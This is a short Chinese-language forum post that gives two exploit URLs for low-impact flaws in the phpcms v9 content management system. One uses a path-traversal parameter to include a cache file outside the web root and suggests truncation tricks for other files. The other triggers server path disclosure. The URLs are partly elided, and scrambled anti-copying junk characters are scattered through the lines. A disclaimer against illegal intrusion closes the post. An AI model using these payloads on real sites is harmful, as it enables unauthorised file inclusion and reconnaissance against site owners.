phpcms v9两个鸡肋漏洞

admin

我就不贴代码了，有兴趣的自己跟一下吧，说不定可以发现更多。

Exp: http://www.php0day.com/api.php?o ... efile=../../../fuck
0 @# ~/ d5 x/ q$ g& {1 \9 c
6 J) r9 C1 s. @) e& v#包含根目录的fuck.cache.php 又一鸡肋。包含其他文件自己截断吧，看你运气了。
! Y0 C; {7 v9 p" l1 W* b& ~0 B0 l
1 k2 i4 R% c9 [Exp: http://www.php0day.com/phpcms/mo ... l.php?author=b4dboy

# F+ Z  E. @0 T' R  V& T5 ^5 R; e#暴路径
; e# h# y$ _! I; ?) e
3 D8 F' y. Q# f; @注：请遵守国家相关法律，请勿非法入侵，产生任何后果自己负责。
4 \5 e4 O) R! n. }1 K9 k6 k+ w
1 M2 d' b# v7 l  J/ R​
1 G. f2 G0 P* l9 _) [
) c) Q3 T( w+ C7 X4 U7 r, B+1